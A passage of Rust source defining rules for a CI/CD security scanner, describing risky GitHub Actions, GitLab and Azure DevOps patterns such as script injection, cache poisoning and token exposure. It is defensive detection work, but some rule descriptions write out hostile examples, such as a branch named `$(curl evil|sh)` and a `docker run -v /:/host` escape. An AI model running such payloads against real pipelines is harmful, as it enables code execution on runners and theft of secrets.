802 `rules: - if: '$CI_COMMIT_REF_PROTECTED == \"true\"'`, or `only: [main]` for the \
803 simplest case — both survive future changes to branch-protection settings.",
804 default_level: "warning",
805 security_severity: "5.0",
806 tags: &["security", "configuration", "gitlab"],
807 },
808 RuleDef {
809 id: "terraform_output_via_setvariable_shell_expansion",
810 name: "TerraformOutputViaSetvariableShellExpansion",
811 short_description:
812 "Terraform output captured into ##vso[task.setvariable] then expanded in a downstream shell — cross-step injection chain",
813 full_description:
814 "An ADO inline script (Bash@3, PowerShell@2, AzurePowerShell@5, AzureCLI@2 \
815 inline, or top-level `script:`) captures a Terraform output value — either a \
816 literal `terraform output` CLI invocation or a `$env:TF_OUT_*` / `$TF_OUT_*` \
817 env var sourced from a `TerraformCLI@*` `command: output` task — AND emits a \
818 `##vso[task.setvariable variable=NAME]VALUE` directive in the same step. A \
819 subsequent step in the same job then expands `$(NAME)` in shell-expansion \
820 position (`bash -c \"...\"`, `eval`, command substitution `$(...)`, PowerShell \
821 `-split` / `Invoke-Command` / `Invoke-Expression` / `iex`, or as an unquoted \
822 line-leading command word). The `task.setvariable` hop launders \
823 attacker-controlled Terraform state — sourced from a remote backend (S3 \
824 bucket, Azure Storage) whose IAM is often weaker than the pipeline's — \
825 through pipeline-variable space and into a shell interpreter. Pass the value \
826 via the downstream step's `env:` block (so the runtime quotes it as a shell \
827 variable) and validate the shape before splitting/looping.",
828 default_level: "error",
829 security_severity: "7.5",
830 tags: &["security", "injection", "azure-devops"],
831 },
832 RuleDef {
833 id: "risky_trigger_with_authority",
834 name: "RiskyTriggerWithAuthority",
835 short_description:
836 "High-blast-radius trigger paired with write permissions or non-default secrets.",
837 full_description:
838 "A workflow declares one of `issue_comment`, `pull_request_review`, \
839 `pull_request_review_comment`, or `workflow_run` alongside write-grant \
840 permissions or any secret other than the default `GITHUB_TOKEN`. These \
841 triggers carry the same effective blast radius as `pull_request_target` \
842 but slip past `trigger_context_mismatch`, exposing privileged credentials \
843 to anyone with comment access on the repo or any prior-run author.",
844 default_level: "error",
845 security_severity: "7.5",
846 tags: &["security", "privilege-escalation", "github-actions"],
847 },
848 RuleDef {
849 id: "sensitive_value_in_job_output",
850 name: "SensitiveValueInJobOutput",
851 short_description:
852 "Job output sourced from a secret/OIDC value or a credential-shaped name.",
853 full_description:
854 "A `jobs.<id>.outputs.<name>` declaration sources its value from \
855 `secrets.*`, an OIDC-bearing step output, or carries a credential-shaped \
856 name (suffix `_token`/`_secret`/`_key`/`_pem`/`_password`/`_credential[s]`/`_api_key`). \
857 Job outputs are written to the run log with only heuristic masking and \
858 propagate unmasked through `needs.<job>.outputs.*` to every downstream \
859 consumer — masking is never authoritative.",
860 default_level: "error",
861 security_severity: "7.5",
862 tags: &["security", "credentials", "github-actions"],
863 },
864 RuleDef {
865 id: "manual_dispatch_input_to_url_or_command",
866 name: "ManualDispatchInputToUrlOrCommand",
867 short_description:
868 "workflow_dispatch input flows into curl/wget/gh-api/checkout-ref — pivot to RCE.",
869 full_description:
870 "A `workflow_dispatch.inputs.*` value is interpolated into a command sink \
871 (`curl`, `wget`, `gh api`, `gh release`, `git clone`, `git fetch`) within a \
872 `run:` body, OR is used as the `ref:` for `actions/checkout`. Anyone with \
873 `Actions: write` on the repository can pivot the privileged run to \
874 attacker-controlled URLs/refs. Constrain the input via a `type: choice` \
875 allowlist or pass values through the step's `env:` block.",
876 default_level: "error",
877 security_severity: "7.5",
878 tags: &["security", "injection", "github-actions"],
879 },
880 RuleDef {
881 id: "script_injection_via_untrusted_context",
882 name: "ScriptInjectionViaUntrustedContext",
883 short_description:
884 "Untrusted context expression interpolated into a run/script body without env binding.",
885 full_description:
886 "A `run:` body or `actions/github-script` `script:` body interpolates an \
887 attacker-influenced `${{ … }}` expression — `github.event.*`, `github.head_ref`, \
888 or `inputs.*` from a privileged trigger — directly into the script text. The \
889 value is concatenated as raw shell/JS without going through an `env:` block, \
890 so a poisoned value (PR title/body, branch name) becomes arbitrary code on \
891 the runner. Pass attacker-influenced values through `env:` and reference them \
892 via `\"$VAR\"` (or `process.env.VAR` in github-script).",
893 default_level: "error",
894 security_severity: "9.0",
895 tags: &["security", "injection", "github-actions"],
896 },
897 RuleDef {
898 id: "interactive_debug_action_in_authority_workflow",
899 name: "InteractiveDebugActionInAuthorityWorkflow",
900 short_description:
901 "Interactive debug action (tmate/upterm) in a workflow holding non-default authority.",
902 full_description:
903 "A workflow that holds non-`GITHUB_TOKEN` secrets or non-default write \
904 permissions includes a step that uses an interactive debug action \
905 (`mxschmitt/action-tmate`, `lhotari/action-upterm`, `actions/tmate`, …). A \
906 maintainer flipping `debug_enabled=true` publishes the runner's full \
907 environment (every secret, the checked-out HEAD) over an external SSH \
908 endpoint. Remove the action or restrict it to a debugging-only workflow with \
909 no production secrets.",
910 default_level: "error",
911 security_severity: "7.5",
912 tags: &["security", "credentials", "github-actions"],
913 },
914 RuleDef {
915 id: "pr_specific_cache_key_in_default_branch_consumer",
916 name: "PrSpecificCacheKeyInDefaultBranchConsumer",
917 short_description:
918 "actions/cache key derives from PR-controlled context in a workflow that also runs on push to main.",
919 full_description:
920 "An `actions/cache` step keys the cache on a PR-derived expression \
921 (`github.head_ref`, `github.event.pull_request.head.ref`, `github.actor`) \
922 in a workflow that ALSO runs on `push: branches: [main]`. A PR can poison \
923 the cache that the default-branch build later restores — the classic \
924 cache-poisoning supply-chain primitive. Key the cache on stable inputs \
925 (commit SHA, lockfile hash) instead of PR-controlled context.",
926 default_level: "error",
927 security_severity: "7.5",
928 tags: &["security", "supply-chain", "github-actions"],
929 },
930 RuleDef {
931 id: "gh_cli_with_default_token_escalating",
932 name: "GhCliWithDefaultTokenEscalating",
933 short_description:
934 "gh CLI with default GITHUB_TOKEN performs write-class action in PR/issue/workflow_run trigger.",
935 full_description:
936 "A `run:` step uses `gh` / `gh api` with the default `GITHUB_TOKEN` to \
937 perform a write-class action (`pr merge`, `release create/upload`, \
938 `api -X POST/PATCH/PUT/DELETE` to repository, releases, secrets, or \
939 environments endpoints) inside a workflow triggered by `pull_request`, \
940 `issue_comment`, or `workflow_run`. Runtime privilege escalation that \
941 static permission audits miss — the token's scope at the YAML layer hides \
942 the actual write surface invoked at runtime.",
943 default_level: "error",
944 security_severity: "7.5",
945 tags: &["security", "privilege-escalation", "github-actions"],
946 },
947 RuleDef {
948 id: "gha_script_injection_to_privileged_shell",
949 name: "GhaScriptInjectionToPrivilegedShell",
950 short_description: "Untrusted GitHub context reaches privileged shell script.",
951 full_description:
952 "A run/script body interpolates attacker-controlled GitHub context directly \
953 into shell or JavaScript while the job holds secrets, OIDC, or write-token \
954 authority. This is the high-confidence subset of script injection leads.",
955 default_level: "error",
956 security_severity: "9.0",
957 tags: &["security", "injection", "github-actions"],
958 },
959 RuleDef {
960 id: "gha_workflow_run_artifact_poisoning_to_privileged_consumer",
961 name: "GhaWorkflowRunArtifactPoisoningToPrivilegedConsumer",
962 short_description: "PR artifact is interpreted by privileged workflow_run consumer.",
963 full_description:
964 "A workflow_run or pull_request_target consumer downloads PR-context artifact \
965 content, interprets it, and holds write-token or non-default authority. This \
966 is the high-confidence artifact-poisoning lane.",
967 default_level: "error",
968 security_severity: "9.0",
969 tags: &["security", "artifact", "github-actions"],
970 },
971 RuleDef {
972 id: "gha_remote_script_in_authority_job",
973 name: "GhaRemoteScriptInAuthorityJob",
974 short_description: "Mutable remote script executes inside authority-bearing job.",
975 full_description:
976 "A curl/wget/deno remote-script execution pattern pinned to mutable branch \
977 content runs in a job with secrets, OIDC, cloud, registry, package, signing, \
978 or write-token authority.",
979 default_level: "error",
980 security_severity: "9.0",
981 tags: &["security", "supply-chain", "github-actions"],
982 },
983 RuleDef {
984 id: "gha_pat_remote_url_write",
985 name: "GhaPatRemoteUrlWrite",
986 short_description: "Git remote URL embeds token material during write operation.",
987 full_description:
988 "A GitHub Actions shell step embeds token material in a GitHub remote URL and \
989 performs write-capable git operations, exposing the token through argv, logs, \
990 shell history, or .git/config.",
991 default_level: "error",
992 security_severity: "7.5",
993 tags: &["security", "credentials", "github-actions"],
994 },
995 RuleDef {
996 id: "gha_env_credential_helper_config_redirect_before_authority",
997 name: "GhaEnvCredentialHelperConfigRedirectBeforeAuthority",
998 short_description:
999 "Credential-helper config env is redirected before authority-bearing helpers run.",
1000 full_description:
1001 "An earlier same-job step writes credential-helper configuration environment \
1002 such as AWS_CONFIG_FILE, KUBECONFIG, DOCKER_CONFIG, NPM_CONFIG_USERCONFIG, \
1003 or GOOGLE_APPLICATION_CREDENTIALS through GITHUB_ENV before a later cloud, \
1004 registry, package, signing, or write-token helper boundary runs.",
1005 default_level: "error",
1006 security_severity: "7.8",
1007 tags: &["security", "credentials", "github-actions"],
1008 },
1009 RuleDef {
1010 id: "gha_env_node_options_code_injection_before_node_authority",
1011 name: "GhaEnvNodeOptionsCodeInjectionBeforeNodeAuthority",
1012 short_description: "NODE_OPTIONS startup injection precedes Node authority.",
1013 full_description:
1014 "An earlier same-job step writes NODE_OPTIONS startup injection flags such as \
1015 --require, --import, or --experimental-loader through GITHUB_ENV before a \
1016 later Node, npm, npx, pnpm, yarn, or JavaScript action boundary runs with \
1017 package, cloud, OIDC, or write-token authority.",
1018 default_level: "error",
1019 security_severity: "8.0",
1020 tags: &["security", "injection", "github-actions"],
1021 },
1022 RuleDef {
1023 id: "gha_env_dyld_or_ld_library_path_before_credential_helper",
1024 name: "GhaEnvDyldOrLdLibraryPathBeforeCredentialHelper",
1025 short_description: "Dynamic-loader env state precedes credential helpers.",
1026 full_description:
1027 "An earlier same-job step writes LD_PRELOAD, LD_LIBRARY_PATH, DYLD_INSERT_LIBRARIES, \
1028 or DYLD_LIBRARY_PATH through GITHUB_ENV before a later credential helper runs \
1029 with cloud, registry, package, signing, or write-token authority.",
1030 default_level: "error",
1031 security_severity: "8.0",
1032 tags: &["security", "injection", "github-actions"],
1033 },
1034 RuleDef {
1035 id: "gha_workflow_call_container_image_input_secrets_inherit",
1036 name: "GhaWorkflowCallContainerImageInputSecretsInherit",
1037 short_description: "Reusable workflow inherits secrets with caller-controlled image input.",
1038 full_description:
1039 "A reusable workflow call or callee allows caller-controlled container image \
1040 selection while secrets: inherit, OIDC, cloud, registry, package, or write-token \
1041 authority is available across the caller/callee boundary.",
1042 default_level: "error",
1043 security_severity: "7.8",
1044 tags: &["security", "privilege-escalation", "github-actions"],
1045 },
1046 RuleDef {
1047 id: "gha_workflow_call_runner_label_input_privilege_escalation",
1048 name: "GhaWorkflowCallRunnerLabelInputPrivilegeEscalation",
1049 short_description: "Reusable workflow accepts caller-controlled runner labels with authority.",
1050 full_description:
1051 "A reusable workflow call or callee allows caller-controlled runner label \
1052 selection while secrets, OIDC, cloud, registry, package, or write-token authority \
1053 is available. Dynamic runner selection can become runner-placement authority.",
1054 default_level: "error",
1055 security_severity: "7.8",
1056 tags: &["security", "privilege-escalation", "github-actions"],
1057 },
1058 RuleDef {
1059 id: "gha_container_image_attacker_influenced_with_secret_env",
1060 name: "GhaContainerImageAttackerInfluencedWithSecretEnv",
1061 short_description: "Authority-bearing job uses attacker-influenced container image.",
1062 full_description:
1063 "A job container image is selected from inputs, matrix, event, or needs output \
1064 state while secret, OIDC, registry, cloud, package, or write-token authority \
1065 is present in the same job.",
1066 default_level: "error",
1067 security_severity: "7.8",
1068 tags: &["security", "supply-chain", "github-actions"],
1069 },
1070 RuleDef {
1071 id: "gha_attestation_subject_digest_from_step_output_unverified",
1072 name: "GhaAttestationSubjectDigestFromStepOutputUnverified",
1073 short_description: "Attestation signs a digest supplied by mutable workflow output state.",
1074 full_description:
1075 "An attestation action signs subject-digest from earlier step, needs, input, or \
1076 matrix output state while id-token: write and attestations: write authority are \
1077 present. The rule identifies attestation trusted-channel candidates, not confirmed \
1078 downstream verifier impact.",
1079 default_level: "error",
1080 security_severity: "7.8",
1081 tags: &["security", "attestation", "github-actions"],
1082 },
1083 RuleDef {
1084 id: "gha_attestation_subject_path_workspace_glob_with_pr_trigger",
1085 name: "GhaAttestationSubjectPathWorkspaceGlobWithPrTrigger",
1086 short_description: "PR-reachable attestation signs workspace/glob subject paths.",
1087 full_description:
1088 "A PR-capable or workflow_run workflow invokes an attestation action with a \
1089 workspace or glob subject-path while attestation authority is present. This \
1090 surfaces cases where PR-controlled workspace bytes may affect the trusted \
1091 attestation channel.",
1092 default_level: "error",
1093 security_severity: "7.8",
1094 tags: &["security", "attestation", "github-actions"],
1095 },
1096 RuleDef {
1097 id: "gha_attestation_config_driven_gate_from_workspace_file",
1098 name: "GhaAttestationConfigDrivenGateFromWorkspaceFile",
1099 short_description: "Attestation gate is driven by config or output state.",
1100 full_description:
1101 "An attestation step is gated by needs/step output state that appears to be \
1102 derived from config, artifact, publishing, or dist metadata while attestation \
1103 authority is present. Release-grade gates should come from protected event \
1104 state or explicit approval, not workspace-derived outputs.",
1105 default_level: "error",
1106 security_severity: "7.8",
1107 tags: &["security", "attestation", "github-actions"],
1108 },
1109 RuleDef {
1110 id: "gha_telemetry_pr_or_issue_text_to_external_sink",
1111 name: "GhaTelemetryPrOrIssueTextToExternalSink",
1112 short_description: "Untrusted PR, issue, or comment text reaches external telemetry.",
1113 full_description:
1114 "A workflow sends attacker-controlled pull-request, issue, review, commit, or \
1115 comment text to Slack, Discord, webhook, Sentry, Datadog, Honeycomb, or similar \
1116 telemetry sinks. Escape, cap, and separate this text from authority-bearing logs.",
1117 default_level: "warning",
1118 security_severity: "5.5",
1119 tags: &["security", "telemetry", "github-actions"],
1120 },
1121 RuleDef {
1122 id: "gha_telemetry_debug_flag_with_secret_env",
1123 name: "GhaTelemetryDebugFlagWithSecretEnv",
1124 short_description: "Actions debug logging is enabled while secrets are present.",
1125 full_description:
1126 "A job enables ACTIONS_STEP_DEBUG or ACTIONS_RUNNER_DEBUG while secret, token, \
1127 OIDC, cloud, registry, package, or signing authority is present. Debug telemetry \
1128 can widen exposure through logs and retained artifacts.",
1129 default_level: "error",
1130 security_severity: "7.0",
1131 tags: &["security", "telemetry", "github-actions"],
1132 },
1133 RuleDef {
1134 id: "gha_telemetry_autonomous_agent_input_from_untrusted_event",
1135 name: "GhaTelemetryAutonomousAgentInputFromUntrustedEvent",
1136 short_description: "Autonomous agent receives untrusted event text with write authority nearby.",
1137 full_description:
1138 "An autonomous coding or repair agent receives PR, issue, comment, or workflow_run \
1139 context while write-class tools, tokens, or later git/API mutation are available. \
1140 Split analysis from mutation and gate write tools explicitly.",
1141 default_level: "error",
1142 security_severity: "8.0",
1143 tags: &["security", "autonomous-agent", "github-actions"],
1144 },
1145 RuleDef {
1146 id: "gha_workflow_run_artifact_to_blob_storage_token",
1147 name: "GhaWorkflowRunArtifactToBlobStorageToken",
1148 short_description: "workflow_run artifact is uploaded to blob/object storage with authority.",
1149 full_description:
1150 "A workflow_run or pull_request_target consumer downloads artifact content and \
1151 uploads it to blob, object, or release storage while write-token or deploy authority \
1152 is available. Treat upstream artifacts as untrusted until rebuilt or provenance-checked.",
1153 default_level: "error",
1154 security_severity: "8.0",
1155 tags: &["security", "artifact", "github-actions"],
1156 },
1157 RuleDef {
1158 id: "gha_api_workflow_run_artifact_to_autonomous_agent_to_git_push",
1159 name: "GhaApiWorkflowRunArtifactToAutonomousAgentToGitPush",
1160 short_description: "workflow_run artifact reaches autonomous agent before git/API mutation.",
1161 full_description:
1162 "A workflow_run or pull_request_target consumer downloads lower-trust artifact data, \
1163 feeds or colocates it with an autonomous agent, then performs git or GitHub API \
1164 mutation under write authority in the same job.",
1165 default_level: "error",
1166 security_severity: "8.5",
1167 tags: &["security", "artifact", "autonomous-agent", "github-actions"],
1168 },
1169 RuleDef {
1170 id: "gha_manifest_npm_lifecycle_hook_pr_trigger_with_token",
1171 name: "GhaManifestNpmLifecycleHookPrTriggerWithToken",
1172 short_description: "PR-reachable npm-family install runs lifecycle hooks with authority.",
1173 full_description:
1174 "A pull_request or pull_request_target workflow invokes npm, pnpm, or yarn \
1175 install commands without --ignore-scripts while secrets, OIDC, registry/cloud \
1176 credentials, or write-token authority are present in the same job.",
1177 default_level: "error",
1178 security_severity: "8.0",
1179 tags: &["security", "manifest-as-code", "npm", "github-actions"],
1180 },
1181 RuleDef {
1182 id: "gha_manifest_python_m_build_with_pr_credentials",
1183 name: "GhaManifestPythonMBuildWithPrCredentials",
1184 short_description: "PR-reachable Python build/install runs with publish authority.",
1185 full_description:
1186 "A PR-reachable workflow invokes Python build, setup.py, pip install, wheel, \
1187 cibuildwheel, maturin, pdm, or poetry build paths while publish credentials, \
1188 OIDC, or write-token authority are available. Build artifacts should be \
1189 produced without publish authority and rebuilt or verified before release.",
1190 default_level: "error",
1191 security_severity: "8.0",
1192 tags: &["security", "manifest-as-code", "python", "github-actions"],
1193 },
1194 RuleDef {
1195 id: "gha_manifest_cargo_build_rs_pull_request_with_token",
1196 name: "GhaManifestCargoBuildRsPullRequestWithToken",
1197 short_description: "PR-reachable Cargo build/test can run build.rs with authority.",
1198 full_description:
1199 "A pull_request or pull_request_target workflow invokes Cargo compile paths \
1200 while secrets, OIDC, registry/cloud credentials, or write-token authority are \
1201 present. Cargo build.rs, build-dependencies, and proc-macros are executable \
1202 manifest-controlled code.",
1203 default_level: "error",
1204 security_severity: "8.0",
1205 tags: &["security", "manifest-as-code", "rust", "github-actions"],
1206 },
1207 RuleDef {
1208 id: "gha_manifest_makefile_with_pr_trigger_and_secrets",
1209 name: "GhaManifestMakefileWithPrTriggerAndSecrets",
1210 short_description: "PR/workflow_run-reachable make runs with secret authority.",
1211 full_description:
1212 "A pull_request, pull_request_target, workflow_run, or issue_comment workflow \
1213 invokes make/gmake/bmake while secrets, OIDC, registry/cloud credentials, or \
1214 write-token authority are present. Makefile recipes are workspace-controlled \
1215 shell and should run without authority unless protected and verified.",
1216 default_level: "error",
1217 security_severity: "8.0",
1218 tags: &["security", "manifest-as-code", "make", "github-actions"],
1219 },
1220 RuleDef {
1221 id: "gha_manifest_submodules_recursive_with_pr_authority",
1222 name: "GhaManifestSubmodulesRecursiveWithPrAuthority",
1223 short_description: "Recursive submodule checkout runs in PR-reachable authority job.",
1224 full_description:
1225 "A PR/workflow_run-reachable job invokes actions/checkout with submodules: \
1226 true or recursive while authority is present. PR-mutable .gitmodules can \
1227 redirect workspace content unless URLs and SHAs are allowlisted.",
1228 default_level: "error",
1229 security_severity: "8.0",
1230 tags: &["security", "manifest-as-code", "git", "github-actions"],
1231 },
1232 RuleDef {
1233 id: "gha_crossrepo_workflow_call_floating_ref_cascade",
1234 name: "GhaCrossrepoWorkflowCallFloatingRefCascade",
1235 short_description: "Cross-repo reusable workflow call uses a mutable ref.",
1236 full_description:
1237 "A reusable workflow call uses org/repo/.github/workflows/file.yml@main, \
1238 @master, @HEAD, or a floating major tag. The producer repo's branch \
1239 protection becomes the effective security boundary for the consumer workflow.",
1240 default_level: "error",
1241 security_severity: "8.0",
1242 tags: &["security", "manifest-as-code", "workflow-call", "github-actions"],
1243 },
1244 RuleDef {
1245 id: "gha_crossrepo_secrets_inherit_unreviewed_callee",
1246 name: "GhaCrossrepoSecretsInheritUnreviewedCallee",
1247 short_description: "Cross-repo reusable workflow inherits all caller secrets.",
1248 full_description:
1249 "A reusable workflow call forwards secrets: inherit to a cross-repo callee. \
1250 Replace it with an explicit named secret map and pin/audit the callee before \
1251 forwarding deploy, package, cloud, signing, or registry authority.",
1252 default_level: "error",
1253 security_severity: "8.0",
1254 tags: &["security", "manifest-as-code", "workflow-call", "github-actions"],
1255 },
1256 RuleDef {
1257 id: "gha_issue_comment_command_to_write_token",
1258 name: "GhaIssueCommentCommandToWriteToken",
1259 short_description: "Issue comment input reaches write-token command sink.",
1260 full_description:
1261 "An issue_comment workflow reads comment or issue-controlled input near gh, \
1262 git, dispatch, or API mutation sinks while write-token authority is present.",
1263 default_level: "error",
1264 security_severity: "7.5",
1265 tags: &["security", "privilege-escalation", "github-actions"],
1266 },
1267 RuleDef {
1268 id: "gha_pr_build_pushes_publishable_image",
1269 name: "GhaPrBuildPushesPublishableImage",
1270 short_description: "PR-triggered build pushes image with publish authority.",
1271 full_description:
1272 "A pull_request or pull_request_target workflow builds and pushes a container \
1273 image while registry or cloud publish authority is present. This is the \
1274 publishable-image subset of PR image build leads.",
1275 default_level: "error",
1276 security_severity: "7.5",
1277 tags: &["security", "supply-chain", "github-actions"],
1278 },
1279 RuleDef {
1280 id: "gha_manual_dispatch_ref_to_privileged_checkout",
1281 name: "GhaManualDispatchRefToPrivilegedCheckout",
1282 short_description: "workflow_dispatch input controls privileged checkout ref.",
1283 full_description:
1284 "A workflow_dispatch input controls actions/checkout ref in a job that holds \
1285 write-token, secret, OIDC, or deploy authority. Dispatch permission becomes \
1286 code-selection authority on a privileged runner.",
1287 default_level: "error",
1288 security_severity: "7.5",
1289 tags: &["security", "injection", "github-actions"],
1290 },
1291 RuleDef {
1292 id: "ci_job_token_to_external_api",
1293 name: "CiJobTokenToExternalApi",
1294 short_description:
1295 "GitLab `$CI_JOB_TOKEN` used as a bearer credential against an HTTP endpoint or `docker login`",
1296 full_description:
1297 "A GitLab CI job uses `$CI_JOB_TOKEN` (or `gitlab-ci-token:$CI_JOB_TOKEN`) as a \
1298 bearer credential — passed to `curl`/`wget` against `${CI_API_V4_URL}/projects/...`, \
1299 handed to `docker login registry.gitlab.com`, or sent as a `JOB-TOKEN:` / \
1300 `Authorization:` header. CI_JOB_TOKEN's default scope is broad (container-registry \
1301 write to the caller's project, Helm/Generic Package upload, project read), so a \
1302 poisoned MR job that emits the token to an attacker-controlled endpoint can pivot \
1303 to package or registry pushes. Scope the token under Settings → CI/CD → Job token \
1304 permissions and prefer dedicated short-lived deploy tokens for uploads.",
1305 default_level: "error",
1306 security_severity: "7.5",
1307 tags: &["security", "credentials", "gitlab-ci"],
1308 },
1309 RuleDef {
1310 id: "id_token_audience_overscoped",
1311 name: "IdTokenAudienceOverscoped",
1312 short_description:
1313 "GitLab `id_tokens:` audience is wildcard or shared between MR-context and protected jobs",
1314 full_description:
1315 "A GitLab CI `id_tokens:` declares an `aud:` value that is either a wildcard / \
1316 catch-all string OR is reused across `merge_request_event` jobs and \
1317 protected-branch jobs in the same file. The audience is what trades for \
1318 downstream cloud / Vault credentials — when the same audience is reachable from \
1319 both untrusted (MR) and privileged (protected-branch) jobs, a poisoned MR can \
1320 mint a token that the downstream IdP will exchange for the same role the \
1321 production deploy uses. Bind each downstream role / Vault path to a unique \
1322 audience derived from the trust context of the consuming job.",
1323 default_level: "error",
1324 security_severity: "7.5",
1325 tags: &["security", "privilege-escalation", "gitlab-ci"],
1326 },
1327 RuleDef {
1328 id: "untrusted_ci_var_in_shell_interpolation",
1329 name: "UntrustedCiVarInShellInterpolation",
1330 short_description:
1331 "Attacker-controlled GitLab predefined var interpolated unquoted into shell or environment.url",
1332 full_description:
1333 "A GitLab CI step interpolates an attacker-controlled predefined variable \
1334 (`$CI_COMMIT_BRANCH`, `$CI_COMMIT_REF_NAME`, `$CI_COMMIT_TAG`, \
1335 `$CI_COMMIT_MESSAGE`, `$CI_COMMIT_TITLE`, `$CI_COMMIT_DESCRIPTION`, \
1336 `$CI_COMMIT_AUTHOR`, `$CI_MERGE_REQUEST_TITLE`, \
1337 `$CI_MERGE_REQUEST_DESCRIPTION`, `$CI_MERGE_REQUEST_SOURCE_BRANCH_NAME`) \
1338 into `script:` / `before_script:` / `after_script:` or into \
1339 `environment:url:` without single-quote isolation or `printf %q` \
1340 sanitisation. A branch named `` $(curl evil|sh) `` or an MR title containing \
1341 backticks executes inside the runner with the job's full authority — the \
1342 GitLab generalisation of the GitHub Actions `script-injection` class. Pass \
1343 the value through the step's `variables:` block and reference it as a quoted \
1344 shell variable, or use the pre-sanitised `$CI_COMMIT_REF_SLUG` for URL \
1345 contexts.",
1346 default_level: "error",
1347 security_severity: "7.5",
1348 tags: &["security", "injection", "gitlab-ci"],
1349 },
1350 RuleDef {
1351 id: "unpinned_include_remote_or_branch_ref",
1352 name: "UnpinnedIncludeRemoteOrBranchRef",
1353 short_description:
1354 "GitLab include: references a mutable branch (remote raw, project ref, or no ref).",
1355 full_description:
1356 "A GitLab CI `include:` references either (a) a `remote:` URL pointing at a \
1357 branch (`/-/raw/<branch>/...`), (b) a `project:` whose `ref:` resolves to a \
1358 mutable branch, or (c) an include with no `ref:` (defaults to HEAD). Whoever \
1359 owns that branch can backdoor every consumer's pipeline silently — included \
1360 YAML executes with the consumer's secrets and CI_JOB_TOKEN. Pin every \
1361 include to a tag or commit SHA.",
1362 default_level: "error",
1363 security_severity: "7.5",
1364 tags: &["security", "supply-chain", "gitlab-ci"],
1365 },
1366 RuleDef {
1367 id: "dind_service_grants_host_authority",
1368 name: "DindServiceGrantsHostAuthority",
1369 short_description:
1370 "GitLab job runs docker-in-docker AND holds a non-default secret — host filesystem reachable.",
1371 full_description:
1372 "A GitLab job declares a `services: [docker:*-dind]` sidecar AND holds at \
1373 least one non-CI_JOB_TOKEN secret. docker-in-docker exposes the full Docker \
1374 socket inside the job container — a malicious build step can `docker run -v \
1375 /:/host` from inside dind and read the runner host filesystem (other jobs' \
1376 artifacts, cached creds). Use rootless buildah/buildkit or split secret \
1377 handling into a separate job that does not enable dind.",
1378 default_level: "error",
1379 security_severity: "7.5",
1380 tags: &["security", "isolation", "gitlab-ci"],
1381 },
1382 RuleDef {
1383 id: "security_job_silently_skipped",
1384 name: "SecurityJobSilentlySkipped",
1385 short_description:
1386 "Scanner job (sast/dast/secret_detection/etc) runs with allow_failure: true and no surfacing rule.",
1387 full_description:
1388 "A GitLab job whose name or `extends:` matches scanner patterns (`sast`, \
1389 `dast`, `secret_detection`, `dependency_scanning`, `container_scanning`, \
1390 `gitleaks`, `trivy`, `grype`, `semgrep`, …) runs with `allow_failure: true` \
1391 AND has no `rules:` clause that surfaces the failure. The pipeline goes \
1392 green even when the scan errors out — silent-pass is worse than no scan \
1393 because reviewers trust the badge. Drop `allow_failure:` or guard it with \
1394 a `rules: when: manual` that requires explicit override.",
1395 default_level: "warning",
1396 security_severity: "5.0",
1397 tags: &["security", "supply-chain", "gitlab-ci"],
1398 },
1399 RuleDef {
1400 id: "child_pipeline_trigger_inherits_authority",
1401 name: "ChildPipelineTriggerInheritsAuthority",
1402 short_description:
1403 "GitLab trigger: job runs in MR context OR uses dynamic include:artifact: — code-injection sink.",
1404 full_description:
1405 "A GitLab `trigger:` job (downstream / child pipeline) runs in \
1406 `merge_request_event` context OR uses `include: artifact:` from a previous \
1407 job (dynamic child pipeline). Dynamic child pipelines are a code-injection \
1408 sink — anything the build step writes to the artifact runs as a real \
1409 pipeline with the parent project's secrets. Restrict `trigger:` jobs to \
1410 protected-branch contexts and prefer static `include:local:` over dynamic \
1411 artifact-based includes.",
1412 default_level: "error",
1413 security_severity: "7.5",
1414 tags: &["security", "privilege-escalation", "gitlab-ci"],
1415 },
1416 RuleDef {
1417 id: "cache_key_crosses_trust_boundary",
1418 name: "CacheKeyCrossesTrustBoundary",
1419 short_description:
1420 "GitLab cache key is hardcoded or shared between MR and protected jobs without policy: pull.",
1421 full_description:
1422 "A GitLab `cache:` declaration whose `key:` is hardcoded, `$CI_JOB_NAME` \
1423 only, or `$CI_COMMIT_REF_SLUG` without a `policy: pull` restriction. \
1424 Caches are stored per-runner keyed by `key:`; a poisoned MR can push a \
1425 malicious `node_modules/` cache that the next default-branch job downloads \
1426 and executes during `npm install`. Key the cache on `$CI_COMMIT_SHA` plus a \
1427 lockfile hash, or set `policy: pull` on jobs that should never write the \
1428 cache.",
1429 default_level: "error",
1430 security_severity: "7.5",
1431 tags: &["security", "supply-chain", "gitlab-ci"],
1432 },
1433 RuleDef {
1434 id: "pat_embedded_in_git_remote_url",
1435 name: "PatEmbeddedInGitRemoteUrl",
1436 short_description:
1437 "CI script embeds a credential variable inside a git remote URL (https://user:$TOKEN@host)",
1438 full_description:
1439 "A CI `script:` body constructs an HTTPS git URL with a credential-shaped \
1440 variable embedded directly in the URL (e.g. \
1441 `git remote set-url origin https://user:${PAT_TOKEN}@gitlab.com/org/repo.git`). \
1442 Once git executes against that URL the token's resolved value is visible in \
1443 the process argv (`ps`, `/proc/*/cmdline`), persists in `.git/config` for \
1444 the rest of the job (where any subsequent step can read it), and lands in \
1445 `GIT_TRACE` output if enabled. Switch to a credential helper or pass the \
1446 token via `http.extraHeader` so it never enters argv or on-disk config.",
1447 default_level: "error",
1448 security_severity: "7.5",
1449 tags: &["security", "credentials", "gitlab"],
1450 },
1451 RuleDef {
1452 id: "ci_token_triggers_downstream_with_variable_passthrough",
1453 name: "CiTokenTriggersDownstreamWithVariablePassthrough",
1454 short_description:
1455 "CI_JOB_TOKEN-driven cross-project pipeline trigger forwards `variables[…]` to the downstream pipeline",
1456 full_description:
1457 "A CI script invokes the GitLab REST API \
1458 (`POST /api/v4/projects/:id/trigger/pipeline`) with `CI_JOB_TOKEN` and \
1459 forwards user-influenced values via `variables[KEY]=...` query/form fields. \
1460 The downstream project receives those variables in its pipeline scope — a \
1461 cross-project authority bridge that bypasses the `trigger:`-keyword \
1462 parent-child trust model. When the upstream job runs on merge-request \
1463 pipelines the variable values may originate from attacker-controlled \
1464 context. Prefer the `trigger:` keyword with `strategy: depend` and \
1465 constrain which variables the downstream pipeline accepts.",
1466 default_level: "warning",
1467 security_severity: "5.0",
1468 tags: &["security", "propagation", "gitlab"],
1469 },
1470 RuleDef {
1471 id: "dotenv_artifact_flows_to_privileged_deployment",
1472 name: "DotenvArtifactFlowsToPrivilegedDeployment",
1473 short_description:
1474 "GitLab dotenv artifact flows to a downstream deployment job with a production-like environment",
1475 full_description:
1476 "A GitLab job declares `artifacts.reports.dotenv: <file>`. The file's \
